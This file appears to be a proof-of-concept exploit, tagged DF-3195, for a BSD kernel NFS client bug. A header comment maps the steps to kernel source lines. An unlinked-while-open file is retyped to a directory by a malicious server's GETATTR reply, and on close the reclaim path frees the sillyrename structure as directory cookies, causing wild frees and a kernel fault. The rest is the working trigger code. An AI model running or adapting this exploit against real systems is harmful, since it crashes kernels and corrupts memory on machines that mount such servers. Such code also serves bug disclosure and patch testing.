DF-3195 / trigger_retype.c
/* * trigger_retype.c - DF-3195 PoC (run as an unprivileged-capable user; * the mount itself is set up by root, the trigger is plain local syscalls) * * Chain (all client-side syscalls, server is malicious): * 1. open(O_CREAT) + unlink() while open * -> nfs_sillyrename() stores a VALID struct sillyrename on the * file's VREG nfsnode (union n_un3.nf_silly), sets NREMOVED and * VREF_FINALIZE. Everything so far is completely honest. * 2. sleep() past the attribute-cache timeout, then fstat(fd) * -> GETATTR RPC; the server (mode "retype") answers with * DIRECTORY-typed attributes for the file's own file handle * -> nfs_loadattrcache() -> nfs_setvtype(vp, VDIR) * (sys/vfs/nfs/nfs_subs.c:723-724) retypes the LIVE node. * 3. close(fd) * -> VREF_FINALIZE fires vnode_terminate -> VOP_INACTIVE -> * nfs_inactive (sys/vfs/nfs/nfs_node.c:392): * v_type == VDIR => the sillyrename flush is SKIPPED * (sp leaked together with s_cred and the s_dvp reference) * NREMOVED set -> vrecycle -> VOP_RECLAIM -> nfs_reclaim * (sys/vfs/nfs/nfs_node.c:466-473): * v_type == VDIR => cookie teardown walks n_un3.nd_cook, * whose lh_first IS the struct sillyrename pointer -> * kfree(sp, M_NFSDIROFF) on an M_NFSREQ block, then * dp = sp->s_cred freed as M_NFSDIROFF, then *(void**)cred * used as the next list link -> wild frees / page fault. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <string.h> #include <sys/stat.h> int main(int argc, char **argv) { const char *path = "/mnt/f"; struct stat st; int fd, rc; if (argc > 1) path = argv[1]; fd = open(path, O_CREAT | O_RDWR, 0666); if (fd < 0) { perror("open"); return 1; } printf("[1] open(%s) = fd %d\n", path, fd); fflush(stdout); rc = unlink(path); if (rc != 0) { perror("unlink"); return 1; } printf("[2] unlink() = 0 (silly-rename pending: valid sp on VREG node)\n"); fflush(stdout); /* let the attribute cache go stale so fstat() must RPC */ printf("[3] sleeping 16s for attr-cache expiry...\n"); fflush(stdout); sleep(16); rc = fstat(fd, &st); if (rc != 0) { perror("fstat"); return 1; } printf("[4] fstat(fd): server-claimed type = %s (live retype applied)\n", S_ISDIR(st.st_mode) ? "DIRECTORY" : "regular"); fflush(stdout); printf("[5] close(fd) -> VOP_INACTIVE (sp flush skipped) + vrecycle -> " "VOP_RECLAIM (cookie-walk on sp) ...\n"); fflush(stdout); rc = close(fd); printf("[6] close() = %d -- reached only if the kernel survived\n", rc); fflush(stdout); sleep(1); return 0; } |